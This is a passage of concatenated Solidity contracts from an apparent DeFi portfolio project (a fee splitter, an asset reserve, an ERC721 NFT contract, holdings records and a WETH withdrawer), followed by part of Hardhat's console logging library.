event RoyaltiesReceived(address to, address token, uint256 value);
/* ------------------------------ STRUCTS ------------------------------ */
/// @dev Represent a shareholder
/// @param account Shareholders address that can receive income
/// @param weight Determines share allocation
struct Shareholder {
address account;
uint96 weight;
}
/// @dev Registers shares and amount release for a specific token or ETH
struct TokenRecords {
uint256 totalShares;
uint256 totalReleased;
mapping(address => uint256) shares;
mapping(address => uint256) released;
}
/* ----------------------------- VARIABLES ----------------------------- */
/// @dev Map of tokens with the tokenRecords
mapping(address => TokenRecords) private tokenRecords;
/// @dev All the shareholders (array)
Shareholder[] private shareholders;
/// @dev Royalties part weights when applicable
uint256 public royaltiesWeight;
uint256 public totalWeights;
address public immutable weth;
/* ---------------------------- CONSTRUCTOR ---------------------------- */
constructor(
address[] memory _accounts,
uint96[] memory _weights,
uint256 _royaltiesWeight,
address _weth
) {
require(_weth != address(0), "FS: INVALID_ADDRESS");
// Initial shareholders addresses and weights
setShareholders(_accounts, _weights);
setRoyaltiesWeight(_royaltiesWeight);
weth = _weth;
}
/// @dev Receive ether after a WETH withdraw call
receive() external payable {
require(msg.sender == weth, "FS: ETH_SENDER_NOT_WETH");
}
/* -------------------------- OWNER FUNCTIONS -------------------------- */
/// @notice Sets the weight assigned to the royalties part for the fee
/// @param _weight The new royalties weight
function setRoyaltiesWeight(uint256 _weight) public onlyOwner {
require(_weight != 0, "FS: WEIGHT_ZERO");
totalWeights = totalWeights + _weight - royaltiesWeight;
royaltiesWeight = _weight;
emit RoyaltiesWeightUpdated(_weight);
}
/// @notice Sets a new list of shareholders
/// @param _accounts Shareholders accounts list
/// @param _weights Weight for each shareholder. Determines part of the payment allocated to them
function setShareholders(address[] memory _accounts, uint96[] memory _weights) public onlyOwner {
delete shareholders;
uint256 accountsLength = _accounts.length;
require(accountsLength != 0, "FS: EMPTY_ARRAY");
require(accountsLength == _weights.length, "FS: INPUTS_LENGTH_MUST_MATCH");
totalWeights = royaltiesWeight;
for (uint256 i = 0; i < accountsLength; i++) {
_addShareholder(_accounts[i], _weights[i]);
}
}
/// @notice Updates weight for a shareholder
/// @param _accountIndex Account to change the weight of
/// @param _weight The new weight
function updateShareholder(uint256 _accountIndex, uint96 _weight) external onlyOwner {
require(_weight != 0, "FS: INVALID_WEIGHT");
require(_accountIndex < shareholders.length, "FS: INVALID_ACCOUNT_INDEX");
Shareholder storage _shareholder = shareholders[_accountIndex];
totalWeights = totalWeights + _weight - _shareholder.weight;
require(totalWeights != 0, "FS: TOTAL_WEIGHTS_ZERO");
_shareholder.weight = _weight;
emit ShareholderUpdated(_shareholder.account, _weight);
}
/* -------------------------- USERS FUNCTIONS -------------------------- */
/// @notice Release multiple tokens and handle ETH unwrapping
/// @param _tokens ERC20 tokens to release
function releaseTokens(IERC20[] calldata _tokens) external nonReentrant {
uint256 amount;
for (uint256 i = 0; i < _tokens.length; i++) {
amount = _releaseToken(_msgSender(), _tokens[i]);
if (address(_tokens[i]) == weth) {
IWETH(weth).withdraw(amount);
(bool success, ) = _msgSender().call{ value: amount }("");
require(success, "FS: ETH_TRANFER_ERROR");
} else {
SafeERC20.safeTransfer(_tokens[i], _msgSender(), amount);
}
emit PaymentReleased(_msgSender(), address(_tokens[i]), amount);
}
}
/// @notice Release multiple tokens without ETH unwrapping
/// @param _tokens ERC20 tokens to release
function releaseTokensNoETH(IERC20[] calldata _tokens) external nonReentrant {
uint256 amount;
for (uint256 i = 0; i < _tokens.length; i++) {
amount = _releaseToken(_msgSender(), _tokens[i]);
SafeERC20.safeTransfer(_tokens[i], _msgSender(), amount);
emit PaymentReleased(_msgSender(), address(_tokens[i]), amount);
}
}
/// @notice Sends a fee to this contract for splitting, as an ERC20 token. No royalties are expected.
/// @param _token Currency for the fee as an ERC20 token
/// @param _amount Amount of token as fee to be claimed by this contract
function sendFees(IERC20 _token, uint256 _amount) external nonReentrant {
uint256 weights;
unchecked {
weights = totalWeights - royaltiesWeight;
}
uint256 balanceBeforeTransfer = _token.balanceOf(address(this));
SafeERC20.safeTransferFrom(_token, _msgSender(), address(this), _amount);
_sendFees(_token, _token.balanceOf(address(this)) - balanceBeforeTransfer, weights);
}
/// @notice Sends a fee to this contract for splitting, as an ERC20 token
/// @param _royaltiesTarget The account that can claim royalties
/// @param _token Currency for the fee as an ERC20 token
/// @param _amount Amount of token as fee to be claimed by this contract
function sendFeesWithRoyalties(
address _royaltiesTarget,
IERC20 _token,
uint256 _amount
) external nonReentrant {
require(_royaltiesTarget != address(0), "FS: INVALID_ROYALTIES_TARGET");
uint256 balanceBeforeTransfer = _token.balanceOf(address(this));
SafeERC20.safeTransferFrom(_token, _msgSender(), address(this), _amount);
uint256 amountReceived = _token.balanceOf(address(this)) - balanceBeforeTransfer;
uint256 _totalWeights = totalWeights;
uint256 royaltiesAmount = (amountReceived * royaltiesWeight) / _totalWeights;
_sendFees(_token, amountReceived, _totalWeights);
_addShares(_royaltiesTarget, royaltiesAmount, address(_token));
emit RoyaltiesReceived(_royaltiesTarget, address(_token), royaltiesAmount);
}
/* ------------------------------- VIEWS ------------------------------- */
/// @notice Returns the amount due to an account. Call releaseToken to withdraw the amount.
/// @param _account Account address to check the amount due for
/// @param _token ERC20 payment token address
/// @return The total amount due for the requested currency
function getAmountDue(address _account, IERC20 _token) public view returns (uint256) {
TokenRecords storage _tokenRecords = tokenRecords[address(_token)];
uint256 _totalShares = _tokenRecords.totalShares;
if (_totalShares == 0) return 0;
uint256 totalReceived = _tokenRecords.totalReleased + _token.balanceOf(address(this));
return (totalReceived * _tokenRecords.shares[_account]) / _totalShares - _tokenRecords.released[_account];
}
/// @notice Getter for the total shares held by shareholders.
/// @param _token Payment token address
/// @return The total shares count
function totalShares(address _token) external view returns (uint256) {
return tokenRecords[_token].totalShares;
}
/// @notice Getter for the total amount of token already released.
/// @param _token Payment token address
/// @return The total amount release to shareholders
function totalReleased(address _token) external view returns (uint256) {
return tokenRecords[_token].totalReleased;
}
/// @notice Getter for the amount of shares held by an account.
/// @param _account Account the shares belong to
/// @param _token Payment token address
/// @return The shares owned by the account
function shares(address _account, address _token) external view returns (uint256) {
return tokenRecords[_token].shares[_account];
}
/// @notice Getter for the amount of Ether already released to a shareholders.
/// @param _account The target account for this request
/// @param _token Payment token address
/// @return The amount already released to this account
function released(address _account, address _token) external view returns (uint256) {
return tokenRecords[_token].released[_account];
}
/// @notice Finds a shareholder and return its index
/// @param _account Account to find
/// @return The shareholder index in the storage array
function findShareholder(address _account) external view returns (uint256) {
for (uint256 i = 0; i < shareholders.length; i++) {
if (shareholders[i].account == _account) return i;
}
revert("FS: SHAREHOLDER_NOT_FOUND");
}
/* ------------------------- PRIVATE FUNCTIONS ------------------------- */
/// @notice Transfers a fee to this contract
/// @dev This method calculates the amount received, to support deflationary tokens
/// @param _token Currency for the fee
/// @param _amount Amount of token sent
/// @param _totalWeights Total weights to determine the share count to allocate
function _sendFees(
IERC20 _token,
uint256 _amount,
uint256 _totalWeights
) private {
Shareholder[] memory shareholdersCache = shareholders;
for (uint256 i = 0; i < shareholdersCache.length; i++) {
_addShares(
shareholdersCache[i].account,
(_amount * shareholdersCache[i].weight) / _totalWeights,
address(_token)
);
}
emit PaymentReceived(_msgSender(), address(_token), _amount);
}
/// @dev Increase the shares of a shareholder
/// @param _account The shareholder address
/// @param _shares The shares of the holder
/// @param _token The updated token
function _addShares(
address _account,
uint256 _shares,
address _token
) private {
TokenRecords storage _tokenRecords = tokenRecords[_token];
_tokenRecords.shares[_account] += _shares;
_tokenRecords.totalShares += _shares;
}
function _releaseToken(address _account, IERC20 _token) private returns (uint256) {
uint256 amountToRelease = getAmountDue(_account, _token);
require(amountToRelease != 0, "FS: NO_PAYMENT_DUE");
TokenRecords storage _tokenRecords = tokenRecords[address(_token)];
_tokenRecords.released[_account] += amountToRelease;
_tokenRecords.totalReleased += amountToRelease;
return amountToRelease;
}
function _addShareholder(address _account, uint96 _weight) private {
require(_weight != 0, "FS: ZERO_WEIGHT");
require(_account != address(0), "FS: INVALID_ADDRESS");
for (uint256 i = 0; i < shareholders.length; i++) {
require(shareholders[i].account != _account, "FS: ALREADY_SHAREHOLDER");
}
shareholders.push(Shareholder(_account, _weight));
totalWeights += _weight;
emit ShareholdersAdded(_account, _weight);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.11;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./abstracts/OwnableFactoryHandler.sol";
/// @title Stores underlying assets of NestedNFTs.
/// @notice The factory itself can only trigger a transfer after verification that the user
/// holds funds present in this contract. Only the factory can withdraw/transfer assets.
contract NestedReserve is OwnableFactoryHandler {
/// @notice Release funds to a recipient
/// @param _recipient The receiver
/// @param _token The token to transfer
/// @param _amount The amount to transfer
function transfer(
address _recipient,
IERC20 _token,
uint256 _amount
) external onlyFactory {
require(_recipient != address(0), "NRS: INVALID_ADDRESS");
SafeERC20.safeTransfer(_token, _recipient, _amount);
}
/// @notice Release funds to the factory
/// @param _token The ERC20 to transfer
/// @param _amount The amount to transfer
function withdraw(IERC20 _token, uint256 _amount) external onlyFactory {
SafeERC20.safeTransfer(_token, msg.sender, _amount);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.11;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "./abstracts/OwnableFactoryHandler.sol";
/// @title Collection of NestedNFTs used to represent ownership of real assets stored in NestedReserves
/// @dev Only NestedFactory contracts are allowed to call functions that write to storage
contract NestedAsset is ERC721Enumerable, OwnableFactoryHandler {
using Counters for Counters.Counter;
/* ----------------------------- VARIABLES ----------------------------- */
Counters.Counter private _tokenIds;
/// @dev Base URI (API)
string public baseUri;
/// @dev Token URI when not revealed
string public unrevealedTokenUri;
/// @dev NFT contract URI
string public contractUri;
/// @dev Stores the original asset of each asset
mapping(uint256 => uint256) public originalAsset;
/// @dev Stores owners of burnt assets
mapping(uint256 => address) public lastOwnerBeforeBurn;
/// @dev True if revealed, false if not.
bool public isRevealed;
/* ---------------------------- CONSTRUCTORS --------------------------- */
constructor() ERC721("NestedNFT", "NESTED") {}
/* ----------------------------- MODIFIERS ----------------------------- */
/// @dev Reverts the transaction if the address is not the token owner
modifier onlyTokenOwner(address _address, uint256 _tokenId) {
require(_address == ownerOf(_tokenId), "NA: FORBIDDEN_NOT_OWNER");
_;
}
/* ------------------------------- VIEWS ------------------------------- */
/// @notice Get the Uniform Resource Identifier (URI) for `tokenId` token.
/// @param _tokenId The id of the NestedAsset
/// @return The token Uniform Resource Identifier (URI)
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
require(_exists(_tokenId), "URI query for nonexistent token");
if (isRevealed) {
return super.tokenURI(_tokenId);
} else {
return unrevealedTokenUri;
}
}
/// @inheritdoc ERC721
function _baseURI() internal view override returns (string memory) {
return baseUri;
}
/// @notice Returns the owner of the original token if the token was replicated
/// If the original asset was burnt, the last owner before burn is returned
/// @param _tokenId The asset for which we want to know the original owner
/// @return The owner of the original asset
function originalOwner(uint256 _tokenId) external view returns (address) {
uint256 originalAssetId = originalAsset[_tokenId];
if (originalAssetId != 0) {
return _exists(originalAssetId) ? ownerOf(originalAssetId) : lastOwnerBeforeBurn[originalAssetId];
}
return address(0);
}
/* ---------------------------- ONLY FACTORY --------------------------- */
/// @notice Mints an ERC721 token for the user and stores the original asset used to create the new asset if any
/// @param _owner The account address that signed the transaction
/// @param _replicatedTokenId The token id of the replicated asset, 0 if no replication
/// @return The minted token's id
function mint(address _owner, uint256 _replicatedTokenId) public onlyFactory returns (uint256) {
_tokenIds.increment();
uint256 tokenId = _tokenIds.current();
_safeMint(_owner, tokenId);
// Stores the first asset of the replication chain as the original
if (_replicatedTokenId == 0) {
return tokenId;
}
require(_exists(_replicatedTokenId), "NA: NON_EXISTENT_TOKEN_ID");
require(tokenId != _replicatedTokenId, "NA: SELF_DUPLICATION");
uint256 originalTokenId = originalAsset[_replicatedTokenId];
originalAsset[tokenId] = originalTokenId != 0 ? originalTokenId : _replicatedTokenId;
return tokenId;
}
/// @notice Burns an ERC721 token
/// @param _owner The account address that signed the transaction
/// @param _tokenId The id of the NestedAsset
function burn(address _owner, uint256 _tokenId) external onlyFactory onlyTokenOwner(_owner, _tokenId) {
lastOwnerBeforeBurn[_tokenId] = _owner;
_burn(_tokenId);
}
/* ----------------------------- ONLY OWNER ---------------------------- */
/// @notice Update isRevealed to reveal or hide the token URI
function setIsRevealed(bool _isRevealed) external onlyOwner {
isRevealed = _isRevealed;
}
/// @notice Set the base URI (once revealed)
/// @param _baseUri The new baseURI
function setBaseURI(string memory _baseUri) external onlyOwner {
require(bytes(_baseUri).length != 0, "NA: EMPTY_URI");
baseUri = _baseUri;
}
/// @notice Set the unrevealed token URI (fixed)
/// @param _newUri The new unrevealed URI
function setUnrevealedTokenURI(string memory _newUri) external onlyOwner {
require(bytes(_newUri).length != 0, "NA: EMPTY_URI");
unrevealedTokenUri = _newUri;
}
/// @notice Set the contract URI
/// @param _newUri The new contract URI
function setContractURI(string memory _newUri) external onlyOwner {
contractUri = _newUri;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.11;
import "./abstracts/OwnableFactoryHandler.sol";
/// @title Tracks data for underlying assets of NestedNFTs
contract NestedRecords is OwnableFactoryHandler {
/* ------------------------------ EVENTS ------------------------------ */
/// @dev Emitted when maxHoldingsCount is updated
/// @param maxHoldingsCount The new value
event MaxHoldingsChanges(uint256 maxHoldingsCount);
/// @dev Emitted when the lock timestamp of an NFT is increased
/// @param nftId The NFT ID
/// @param timestamp The new lock timestamp of the portfolio
event LockTimestampIncreased(uint256 nftId, uint256 timestamp);
/// @dev Emitted when the reserve is updated for a specific portfolio
/// @param nftId The NFT ID
/// @param newReserve The new reserve address
event ReserveUpdated(uint256 nftId, address newReserve);
/* ------------------------------ STRUCTS ------------------------------ */
/// @dev Store user asset informations
struct NftRecord {
mapping(address => uint256) holdings;
address[] tokens;
address reserve;
uint256 lockTimestamp;
}
/* ----------------------------- VARIABLES ----------------------------- */
/// @dev stores for each NFT ID an asset record
mapping(uint256 => NftRecord) public records;
/// @dev The maximum number of holdings for an NFT record
uint256 public maxHoldingsCount;
/* ---------------------------- CONSTRUCTOR ---------------------------- */
constructor(uint256 _maxHoldingsCount) {
maxHoldingsCount = _maxHoldingsCount;
}
/* -------------------------- OWNER FUNCTIONS -------------------------- */
/// @notice Sets the maximum number of holdings for an NFT record
/// @param _maxHoldingsCount The new maximum number of holdings
function setMaxHoldingsCount(uint256 _maxHoldingsCount) external onlyOwner {
require(_maxHoldingsCount != 0, "NRC: INVALID_MAX_HOLDINGS");
maxHoldingsCount = _maxHoldingsCount;
emit MaxHoldingsChanges(maxHoldingsCount);
}
/* ------------------------- FACTORY FUNCTIONS ------------------------- */
/// @notice Update the amount for a specific holding and delete
/// the holding if the amount is zero.
/// @param _nftId The id of the NFT
/// @param _token The token/holding address
/// @param _amount Updated amount for this asset
function updateHoldingAmount(
uint256 _nftId,
address _token,
uint256 _amount
) public onlyFactory {
if (_amount == 0) {
uint256 tokenIndex = 0;
address[] memory tokens = getAssetTokens(_nftId);
while (tokenIndex < tokens.length) {
if (tokens[tokenIndex] == _token) {
deleteAsset(_nftId, tokenIndex);
break;
}
tokenIndex++;
}
} else {
records[_nftId].holdings[_token] = _amount;
}
}
/// @notice Fully delete a holding record for an NFT
/// @param _nftId The id of the NFT
/// @param _tokenIndex The token index in holdings array
function deleteAsset(uint256 _nftId, uint256 _tokenIndex) public onlyFactory {
address[] storage tokens = records[_nftId].tokens;
address token = tokens[_tokenIndex];
require(records[_nftId].holdings[token] != 0, "NRC: HOLDING_INACTIVE");
delete records[_nftId].holdings[token];
tokens[_tokenIndex] = tokens[tokens.length - 1];
tokens.pop();
}
/// @notice Delete a holding item in holding mapping. Does not remove token in NftRecord.tokens array
/// @param _nftId NFT's identifier
/// @param _token Token address for holding to remove
function freeHolding(uint256 _nftId, address _token) public onlyFactory {
delete records[_nftId].holdings[_token];
}
/// @notice Helper function that creates a record or add the holding if record already exists
/// @param _nftId The NFT's identifier
/// @param _token The token/holding address
/// @param _amount Amount to add for this asset
/// @param _reserve Reserve address
function store(
uint256 _nftId,
address _token,
uint256 _amount,
address _reserve
) external onlyFactory {
NftRecord storage _nftRecord = records[_nftId];
uint256 amount = records[_nftId].holdings[_token];
require(_amount != 0, "NRC: INVALID_AMOUNT");
if (amount != 0) {
require(_nftRecord.reserve == _reserve, "NRC: RESERVE_MISMATCH");
updateHoldingAmount(_nftId, _token, amount + _amount);
return;
}
require(_nftRecord.tokens.length < maxHoldingsCount, "NRC: TOO_MANY_TOKENS");
require(
_reserve != address(0) && (_reserve == _nftRecord.reserve || _nftRecord.reserve == address(0)),
"NRC: INVALID_RESERVE"
);
_nftRecord.holdings[_token] = _amount;
_nftRecord.tokens.push(_token);
_nftRecord.reserve = _reserve;
}
/// @notice The factory can update the lock timestamp of a NFT record
/// The new timestamp must be greater than the records lockTimestamp
// if block.timestamp > actual lock timestamp
/// @param _nftId The NFT id to get the record
/// @param _timestamp The new timestamp
function updateLockTimestamp(uint256 _nftId, uint256 _timestamp) external onlyFactory {
require(_timestamp > records[_nftId].lockTimestamp, "NRC: LOCK_PERIOD_CANT_DECREASE");
records[_nftId].lockTimestamp = _timestamp;
emit LockTimestampIncreased(_nftId, _timestamp);
}
/// @notice Delete from mapping assetTokens
/// @param _nftId The id of the NFT
function removeNFT(uint256 _nftId) external onlyFactory {
delete records[_nftId];
}
/// @notice Set the reserve where assets are stored
/// @param _nftId The NFT ID to update
/// @param _nextReserve Address for the new reserve
function setReserve(uint256 _nftId, address _nextReserve) external onlyFactory {
records[_nftId].reserve = _nextReserve;
emit ReserveUpdated(_nftId, _nextReserve);
}
/* ------------------------------- VIEWS ------------------------------- */
/// @notice Get content of assetTokens mapping
/// @param _nftId The id of the NFT
/// @return Array of token addresses
function getAssetTokens(uint256 _nftId) public view returns (address[] memory) {
return records[_nftId].tokens;
}
/// @notice Get reserve the assets are stored in
/// @param _nftId The NFT ID
/// @return The reserve address these assets are stored in
function getAssetReserve(uint256 _nftId) external view returns (address) {
return records[_nftId].reserve;
}
/// @notice Get how many tokens are in a portfolio/NFT
/// @param _nftId NFT ID to examine
/// @return The array length
function getAssetTokensLength(uint256 _nftId) external view returns (uint256) {
return records[_nftId].tokens.length;
}
/// @notice Get holding amount for a given nft id
/// @param _nftId The id of the NFT
/// @param _token The address of the token
/// @return The holding amount
function getAssetHolding(uint256 _nftId, address _token) public view returns (uint256) {
return records[_nftId].holdings[_token];
}
/// @notice Returns the holdings associated to a NestedAsset
/// @param _nftId the id of the NestedAsset
/// @return Two arrays with the same length :
/// - The token addresses in the portfolio
/// - The respective amounts
function tokenHoldings(uint256 _nftId) external view returns (address[] memory, uint256[] memory) {
address[] memory tokens = getAssetTokens(_nftId);
uint256 tokensCount = tokens.length;
uint256[] memory amounts = new uint256[](tokensCount);
for (uint256 i = 0; i < tokensCount; i++) {
amounts[i] = getAssetHolding(_nftId, tokens[i]);
}
return (tokens, amounts);
}
/// @notice Get the lock timestamp of a portfolio/NFT
/// @param _nftId The NFT ID
/// @return The lock timestamp from the NftRecord
function getLockTimestamp(uint256 _nftId) external view returns (uint256) {
return records[_nftId].lockTimestamp;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.11;
import "./interfaces/external/IWETH.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
/// @title Native token withdrawer
/// @dev Withdraw native token from the wrapper contract on behalf
/// of the sender. Upgradeable proxy contracts are not able to receive
/// native tokens from contracts via `transfer` (EIP1884), they need a
/// middleman forwarding all available gas and reverting on errors.
contract Withdrawer is ReentrancyGuard {
IWETH public immutable weth;
constructor(IWETH _weth) {
weth = _weth;
}
receive() external payable {
require(msg.sender == address(weth), "WD: ETH_SENDER_NOT_WETH");
}
/// @notice Withdraw native token from wrapper contract
/// @param amount The amount to withdraw
function withdraw(uint256 amount) external nonReentrant {
weth.transferFrom(msg.sender, address(this), amount);
weth.withdraw(amount);
Address.sendValue(payable(msg.sender), amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >= 0.4.22 <0.9.0;
library console {
address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67);
function _sendLogPayload(bytes memory payload) private view {
uint256 payloadLength = payload.length;
address consoleAddress = CONSOLE_ADDRESS;
assembly {
let payloadStart := add(payload, 32)
let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0)
}
}
function log() internal view {
_sendLogPayload(abi.encodeWithSignature("log()"));
}
function logInt(int p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(int)", p0));
}
function logUint(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function logString(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function logBool(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function logAddress(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function logBytes(bytes memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes)", p0));
}
function logBytes1(bytes1 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0));
}
function logBytes2(bytes2 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0));
}
function logBytes3(bytes3 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0));
}
function logBytes4(bytes4 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0));
}
function logBytes5(bytes5 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0));
}
function logBytes6(bytes6 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0));
}
function logBytes7(bytes7 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0));
}
function logBytes8(bytes8 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0));
}
function logBytes9(bytes9 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0));
}
function logBytes10(bytes10 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0));
}
function logBytes11(bytes11 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0));
}
function logBytes12(bytes12 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0));
}
function logBytes13(bytes13 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0));
}
function logBytes14(bytes14 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0));
}
function logBytes15(bytes15 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0));
}
function logBytes16(bytes16 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0));
}
function logBytes17(bytes17 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0));
}
function logBytes18(bytes18 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0));
}
function logBytes19(bytes19 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0));
}
function logBytes20(bytes20 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0));
}
function logBytes21(bytes21 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0));
}
function logBytes22(bytes22 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0));
}
function logBytes23(bytes23 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0));
}
function logBytes24(bytes24 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0));
}
function logBytes25(bytes25 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0));
}
function logBytes26(bytes26 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0));
}
function logBytes27(bytes27 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0));
}
function logBytes28(bytes28 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0));
}
function logBytes29(bytes29 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0));
}
function logBytes30(bytes30 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0));
}
function logBytes31(bytes31 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0));
}
function logBytes32(bytes32 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0));
}
function log(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function log(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function log(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function log(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function log(uint p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1));
}
function log(uint p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1));
}
function log(uint p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1));
}
function log(uint p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1));
}
function log(string memory p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1));
}
function log(string memory p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1));
}
function log(string memory p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1));
}
function log(string memory p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1));
}
function log(bool p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1));
}
function log(bool p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1));
}
function log(bool p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1));
}
function log(bool p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1));
}
function log(address p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1));
}
function log(address p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1));
}
function log(address p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1));
}
function log(address p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1));
}
function log(uint p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2));
}
function log(uint p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2));
}
function log(uint p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2));
}
function log(uint p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2));
}
function log(uint p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2));
}
function log(uint p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2));
}
function log(uint p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2));
}
function log(uint p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2));
}
function log(uint p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2));
}
function log(uint p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2));
}
function log(uint p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2));
}
function log(uint p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2));
}
function log(uint p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2));
}
function log(uint p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2));
}
function log(uint p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2));
}
function log(uint p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2));
}
function log(string memory p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2));
}
function log(string memory p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2));
}
function log(string memory p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2));
}
function log(string memory p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2));
}
function log(string memory p0, string memory p1, uint p2) internal view {
